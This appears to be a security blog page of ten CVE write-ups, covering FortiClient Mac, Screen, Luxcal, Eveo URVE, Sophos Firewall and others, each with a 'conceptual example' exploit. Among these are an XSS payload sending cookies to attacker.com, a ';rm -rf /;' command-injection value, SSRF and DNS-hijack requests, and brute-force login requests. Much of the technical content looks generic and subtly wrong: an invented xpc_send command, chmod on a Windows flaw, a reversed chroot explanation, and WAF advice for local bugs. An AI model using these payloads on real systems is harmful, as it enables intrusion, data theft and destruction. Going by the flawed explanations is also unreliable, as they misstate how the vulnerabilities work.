Author: Ameeba

CVE-2025-25251: Incorrect Authorization Vulnerability in FortiClient Mac Leads to Privilege Escalation
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a critical security flaw designated as CVE-2025-25251. This vulnerability is found in specific versions of FortiClient for Mac, a popular endpoint protection solution. The flaw, categorized as an Incorrect Authorization vulnerability [CWE-863], could potentially allow an attacker with local access to the system to escalate their privileges by sending specially crafted XPC messages.
This is a significant concern, particularly for organizations using the affected versions of FortiClient Mac. The vulnerability could potentially lead to system compromise or data leakage, severely impacting the confidentiality, integrity, and availability of resources.

Vulnerability Summary

CVE ID: CVE-2025-25251
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

FortiClient Mac | 7.4.0 through 7.4.2
FortiClient Mac | 7.2.0 through 7.2.8
FortiClient Mac | 7.0.0 through 7.0.14

How the Exploit Works

The vulnerability exploits a flaw in the authorization controls of FortiClient. Specifically, an attacker can exploit this vulnerability by sending specially crafted XPC messages to the FortiClient application. XPC is a form of interprocess communication used in Mac OS applications. In this case, the attacker manipulates this communication to elevate their privileges on the system.

Conceptual Example Code

Below is a conceptual example of shell command that an attacker might use to exploit this vulnerability:
```
#!/bin/bash
# Craft malicious XPC message
malicious_xpc_message = "malicious_payload"
# Send the malicious XPC message to FortiClient
xpc_send "com.fortinet.FortiClient" $malicious_xpc_message
```
This script crafts a malicious XPC message and uses the `xpc_send` command to send the message to the FortiClient application. If successful, this could lead to privilege escalation on the system.
Please note that this is a conceptual example meant for educational purposes only. It is crucial to keep your systems updated with the latest security patches to prevent such potential attacks.
In the case of CVE-2025-25251, the mitigation guidance is to apply the vendor patch as soon as possible or use WAF/IDS for temporary mitigation until the patch can be applied.
July 27, 2025
CVE-2025-23395: Critical Privilege Escalation Vulnerability in Screen 5.0.0
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical security vulnerability, CVE-2025-23395, affecting Screen 5.0.0. This software, when run with setuid-root privileges, fails to drop these elevated privileges while operating on a user-supplied path. This vulnerability holds grave implications for all systems running the affected version of Screen as it allows unprivileged users to exploit this flaw and potentially gain root access, thereby compromising the entire system. Given the widespread use of Screen, this vulnerability holds potential for extensive damage and is of significant concern to system administrators and cybersecurity professionals alike.

Vulnerability Summary

CVE ID: CVE-2025-23395
Severity: High (7.8)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Screen | 5.0.0

How the Exploit Works

This vulnerability arises from the program’s mishandling of user-supplied paths. When Screen 5.0.0 runs with setuid-root privileges, it does not correctly drop these privileges when operating on a user-supplied path. This loophole allows an unprivileged user to create files in arbitrary locations with root ownership. The files also retain the invoking user’s group ownership and file mode 0644. In essence, all data written to the Screen PTY will be logged into this file. This situation can be exploited to escalate to root privileges, granting the attacker complete control over the compromised system.

Conceptual Example Code

Here’s a
conceptual
example of how the vulnerability might be exploited using a shell command:
```
# command to start Screen with setuid-root privileges
/usr/bin/screen -D -m -L /root/privileged.file
# command to write data to the Screen PTY
echo "malicious_command" > /dev/pts/X # X corresponds to the screen session PTY
# The above command logs the data into /root/privileged.file with root ownership
# The attacker can thus manipulate this file to gain root access
```
This example serves to illustrate the potential exploitation of the vulnerability. Actual exploitation may vary based on the system’s configuration and the attacker’s capabilities.
July 27, 2025
CVE-2025-24917: Local Privilege Escalation Vulnerability in Tenable Network Monitor
Overview

The cybersecurity landscape is constantly changing, with new vulnerabilities being discovered regularly. One such vulnerability, CVE-2025-24917, poses a serious threat to organizations using Tenable Network Monitor versions prior to 6.5.1 on a Windows host. This vulnerability makes it possible for a non-administrative user to stage files in a local directory, potentially running arbitrary code with SYSTEM privileges. This could lead to local privilege escalation, a significant concern for businesses and individual users alike as it opens the door for potential system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-24917
Severity: High (7.8 CVSS v3.1)
Attack Vector: Local access
Privileges Required: Low (Non-administrative user)
User Interaction: Required
Impact: Local Privilege Escalation, Potential system compromise, Data leakage

Affected Products

Product | Affected Versions

Tenable Network Monitor | Prior to 6.5.1

How the Exploit Works

The vulnerability exists due to a flaw in the Tenable Network Monitor’s security control mechanism, which allows non-administrative users to stage files in a local directory that can execute arbitrary code with SYSTEM privileges. This means a local attacker can exploit the flaw to escalate their privileges to the system level, giving them full control over the affected machine. This control could be used maliciously to compromise the system or leak sensitive data.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. In this pseudocode, the attacker uses local access to stage a file in the local directory, executing arbitrary code with SYSTEM privileges:
```
$ cd /path/to/local/directory
$ echo 'malicious_code' > staged_file
$ chmod +x staged_file
$ ./staged_file
```
In this example, ‘malicious_code’ represents the arbitrary code the attacker wants to execute with SYSTEM privileges.

Mitigation Guidance

Users are strongly recommended to upgrade to Tenable Network Monitor version 6.5.1 or later, which contains a patch for this vulnerability. If upgrading is not immediately possible, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. However, this should not replace the need for updating to a secure version of the software.
Remember, maintaining the most recent version of any software is a crucial part of keeping your system secure. Regular patching and updates can protect against known vulnerabilities and help prevent potential system compromise or data leakage.
July 27, 2025
CVE-2020-26799: Critical Reflected XSS Vulnerability in Luxcal 4.5.2
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a critical security vulnerability, CVE-2020-26799, within Luxcal 4.5.2, a widely used web-based calendar application. This reflected cross-site scripting (XSS) vulnerability presents a significant risk to the confidentiality and integrity of user data. Given the prominence of Luxcal in many web-based systems, this vulnerability could potentially impact a vast number of users and organizations, making it a pressing concern for cybersecurity professionals.

Vulnerability Summary

CVE ID: CVE-2020-26799
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unauthorized access to user data, potential system compromise

Affected Products

Product | Affected Versions

Luxcal | 4.5.2

How the Exploit Works

The vulnerability resides in the index.php file of Luxcal 4.5.2. Due to inadequate input validation, an attacker can inject malicious scripts into the application, which are then reflected back to the user. This allows an unauthenticated attacker to execute scripts in the user’s browser, leading to potential theft of session cookies, login credentials, or other sensitive user data. In some instances, this could also lead to a full system compromise.

Conceptual Example Code

An attacker might exploit this vulnerability by sending malicious requests to the server, like so:
```
GET /index.php?malicious_payload=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie;</script> HTTP/1.1
Host: target.example.com
```
The above HTTP request contains a payload that, when processed by the server, would reflect back and execute in the user’s browser. This script would send the user’s cookies to the attacker’s server, potentially allowing them to impersonate the user.

Mitigation and Remediation

The vulnerability can be mitigated by applying patches provided by the vendor. As an immediate temporary measure, web application firewalls (WAF) or intrusion detection systems (IDS) can be configured to detect and prevent any malicious payloads that look like XSS attacks. However, these are not foolproof solutions and do not completely eliminate the vulnerability. It is highly recommended to apply the vendor’s patch as soon as possible.
July 27, 2025
CVE-2025-44654: Unauthorized Access and Privilege Escalation Vulnerability in Linksys E2500
Overview

CVE-2025-44654 is a critical security vulnerability found in Linksys E2500 version 3.0.04.002. This vulnerability, if left unpatched, could potentially lead to unauthorized access to system files, privilege escalation, and further internal network attacks. Given the critical nature of this vulnerability, it is crucial for users and administrators of the affected Linksys E2500 routers to understand the implications of this vulnerability and implement the necessary mitigations.
The severity and wide-reaching impact of this vulnerability, combined with the high volume of Linksys E2500 devices deployed globally, makes CVE-2025-44654 a matter of significant concern in the cybersecurity community.

Vulnerability Summary

CVE ID: CVE-2025-44654
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to system files, privilege escalation, potential for further internal network attacks.

Affected Products

Product | Affected Versions

Linksys E2500 | 3.0.04.002

How the Exploit Works

The vulnerability stems from an incorrect configuration in the vsftpd file, where the ‘chroot_local_user’ option is enabled. This allows a potential attacker to escape from the isolated environment, giving them unauthorized access to the filesystem. With access to system files, an attacker could escalate their privileges, potentially gaining full control of the system.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is not a real exploit, but a simplified example to illustrate the principles involved.
```
# Connect to the FTP server
ftp target.example.com
# Login with any user
ftp> user ftpuser
ftp> pass ftpuser
# Change to the root directory
ftp> cd /
# Now the attacker has access to the entire filesystem
ftp> ls
```
This simple example demonstrates how an attacker could potentially gain unauthorized access to the system files through the vulnerability. In the real world, an attacker would likely use more sophisticated methods to escalate their privileges and perform further malicious actions.
July 27, 2025
CVE-2025-36846: Critical OS Command Injection Vulnerability in Eveo URVE Web Manager
Overview

Cybersecurity has taken center stage with the discovery of a severe vulnerability, CVE-2025-36846, in the widely used Eveo URVE Web Manager. This application, often used by organizations for streamlined web management, has been found to have an endpoint exposed to unauthenticated users which is susceptible to Operating System (OS) Command Injection. This vulnerability is not only concerning due to the high-risk nature of OS command injection attacks but also because it affects any organization that has not updated their Eveo URVE Web Manager to the latest version.

Vulnerability Summary

CVE ID: CVE-2025-36846
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Eveo URVE Web Manager | 27.02.2025 and older

How the Exploit Works

The vulnerability lies in the lack of proper sanitization of user inputs within the /_internal/pc/vpro.php endpoint of the Eveo URVE Web Manager application. The endpoint takes an input parameter which is passed directly into the shell_exec() function of PHP. This allows an attacker to execute arbitrary OS commands on the server running the Eveo URVE Web Manager. This vulnerability can be exploited remotely by unauthenticated users, making it particularly dangerous.

Conceptual Example Code

An attacker could potentially exploit this vulnerability by sending a specially crafted HTTP request that includes malicious shell commands. Here is a conceptual example:
```
POST /_internal/pc/vpro.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
input_param=;rm+-rf+/; # This is an example of a malicious payload
```
In this example, the “input_param” is the parameter that the vulnerable endpoint uses. The value `;rm -rf /;` is a malicious payload that, if executed, will delete all files on the server.

Mitigation

It is highly recommended for all organizations using the Eveo URVE Web Manager to apply the vendor patch to mitigate this vulnerability. If an immediate upgrade is not possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. It is also advisable to always sanitize user inputs to prevent OS command injection vulnerabilities.
July 27, 2025
CVE-2025-36845: Server-Side Request Forgery (SSRF) Vulnerability in Eveo URVE Web Manager
Overview

A critical vulnerability, identified as CVE-2025-36845, has been discovered in Eveo URVE Web Manager, version 27.02.2025. This vulnerability, a Server-Side Request Forgery (SSRF), poses a significant risk to any organization using the affected software due to its potential for system compromise and data leakage. Given the high CVSS severity score of 8.6, immediate action is required to mitigate this risk and protect sensitive data and systems from potential exploitation.

Vulnerability Summary

CVE ID: CVE-2025-36845
Severity: Critical (CVSS 8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Eveo URVE Web Manager | Version 27.02.2025

How the Exploit Works

The vulnerability resides in the /_internal/redirect.php endpoint. This endpoint accepts a URL as an input, sends a request to this address, and then reflects the content in the response. Attackers can exploit this by providing a URL of a sensitive internal resource, which would normally be unreachable from the outside network, leading to SSRF. This allows the attacker to bypass firewalls and gain access to the internal network, potentially leading to system compromise or data leakage.

Conceptual Example Code

The following is a conceptual HTTP request that demonstrates how an attacker might exploit this vulnerability:
```
GET /_internal/redirect.php?url=http://internal-sensitive-resource HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/json
```
The “url” parameter is manipulated to request a sensitive internal resource that should not be accessible from outside. The server then performs the request and returns the response, giving the attacker access to the sensitive data.

Mitigation and Prevention

Organizations are advised to apply the vendor-supplied patch immediately. If this is not possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against the exploit. Regularly updating and patching systems is critical for maintaining a strong security posture.
July 27, 2025
CVE-2024-13974: High-risk Business Logic Vulnerability in Up2Date Component of Sophos Firewall
Overview

A newly discovered vulnerability, CVE-2024-13974, presents a significant risk to organizations using Sophos Firewall older than version 21.0 MR1 (20.0.1). This flaw in the business logic of the Up2Date component can allow attackers to control the firewall’s DNS environment and execute remote code. Given the ubiquity of Sophos Firewall in the cybersecurity landscape, this vulnerability could potentially impact a wide range of businesses and institutions, making it an urgent issue of concern.

Vulnerability Summary

CVE ID: CVE-2024-13974
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Sophos Firewall | Older than version 21.0 MR1 (20.0.1)

How the Exploit Works

The vulnerability lies in the business logic of the Up2Date component of the Sophos Firewall. An attacker can exploit this vulnerability by sending specially crafted packets to the firewall. This can allow the attacker to control the DNS environment of the firewall, leading to remote code execution. The flaw essentially bypasses the security measures put in place and gives the attacker the ability to manipulate the firewall’s settings, potentially compromising the entire system and leading to data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request:
```
POST /up2date/component HTTP/1.1
Host: firewall.example.com
Content-Type: application/json
{ "new_dns_settings": { "primary_dns": "attacker-controlled-dns.com" } }
```
In the above example, an attacker sends a malicious HTTP POST request to the Up2Date component of the firewall. The JSON payload contains new DNS settings, directing the firewall to use a DNS server under the attacker’s control.

Recommended Mitigation

The recommended mitigation is to apply the vendor-provided patch for this vulnerability. For those using Sophos Firewall, this means upgrading to version 21.0 MR1 (20.0.1) or newer. In the interim, or if the patch cannot be applied immediately, a temporary solution would be to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block malicious traffic attempting to exploit this vulnerability. However, these are only temporary measures and upgrading to the patched version is strongly advised to ensure complete protection.
July 27, 2025
CVE-2025-6043: Critical Arbitrary File Deletion Vulnerability in Malcure Malware Scanner for WordPress
Overview

The CVE-2025-6043 is a severe vulnerability identified in the Malcure Malware Scanner for WordPress. This security flaw leaves millions of websites built using the popular WordPress platform at the risk of unauthorized file deletion, potentially leading to system compromise or data leakage. The vulnerability is significant because it allows even low-level, authenticated users to execute arbitrary file deletion, making remote code execution possible under certain circumstances.

Vulnerability Summary

CVE ID: CVE-2025-6043
Severity: Critical (8.1/10)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Malcure Malware Scanner Plugin for WordPress | All versions up to and including 16.8

How the Exploit Works

The CVE-2025-6043 vulnerability exploits a missing capability check on the wpmr_delete_file() function within the Malcure Malware Scanner for WordPress. When a website has advanced mode enabled, an authenticated user with as little as subscriber-level access can trigger this function to delete arbitrary files. This could lead to the deletion of essential system files, causing disruptions or making the system more susceptible to further attacks. In the worst-case scenario, this vulnerability could be exploited for remote code execution, potentially granting an attacker full control over the affected system.

Conceptual Example Code

An example of how this vulnerability might be exploited is shown in the following pseudocode:
```
POST /wp-admin/admin-ajax.php?action=wpmr_delete_file HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/json
Cookie: wordpress_logged_in_[hash]=username|expiry|token|hash
{ "file": "/path/to/arbitrary/file.php" }
```
In the above example, the attacker sends a POST request to the admin-ajax.php file with the action set to wpmr_delete_file. The attacker then specifies the file they want to delete in the request body. Note that the attacker would need to be authenticated, hence the inclusion of the WordPress login cookie.

Mitigation

To mitigate this vulnerability, users are strongly advised to apply the vendor patch immediately. In case the patch cannot be applied right away, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure to prevent exploitation of the vulnerability. Moreover, disabling the advanced mode on the site can also reduce the risk.
July 27, 2025
CVE-2025-7393: Critical Brute Force Vulnerability in Drupal Mail Login
Overview

In this blog post, we will be discussing an important issue that has emerged in the cybersecurity landscape. Specifically, we’ll be focusing on CVE-2025-7393, a critical vulnerability in Drupal Mail Login, affecting versions from 3.0.0 before 3.2.0 and from 4.0.0 before 4.2.0. This vulnerability presents a substantial threat to the security of user data and system integrity, especially in environments where Drupal is prevalent. This vulnerability is significant due to its high CVSS score and the potential for system compromise or data leakage, therefore it is critical for users and administrators to take action to mitigate the risks.

Vulnerability Summary

CVE ID: CVE-2025-7393
Severity: Critical, CVSS Score 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Drupal Mail Login | 3.0.0 – 3.1.9
Drupal Mail Login | 4.0.0 – 4.1.9

How the Exploit Works

At its root, CVE-2025-7393 is a vulnerability that stems from an improper restriction of excessive authentication attempts in Drupal Mail Login. This allows attackers to conduct a brute force attack by systematically attempting all possible passwords until the correct one is found. Since the system doesn’t lock out users after a certain number of failed login attempts, an attacker can continue guessing passwords indefinitely. This can lead to unauthorized access, data leakage, or even a complete system compromise.

Conceptual Example Code

Here’s a conceptual example of a brute force attack exploiting this vulnerability:
```
POST /user/login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=guess1
POST /user/login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=guess2
...
```
This example illustrates multiple login attempts by an attacker, systematically changing the password parameter until the correct one is found.

Mitigation Guidance

In response to this vulnerability, the vendor has issued a patch. Users are strongly advised to update their Drupal Mail Login to the latest version (3.2.0 for the 3.x branch and 4.2.0 for the 4.x branch). In cases where immediate patching is not possible, deploying a web application firewall (WAF) or intrusion detection system (IDS) as a temporary mitigation measure can help protect against brute force attacks. However, these are only temporary solutions and updating the software is the most effective way to eliminate the vulnerability.
July 27, 2025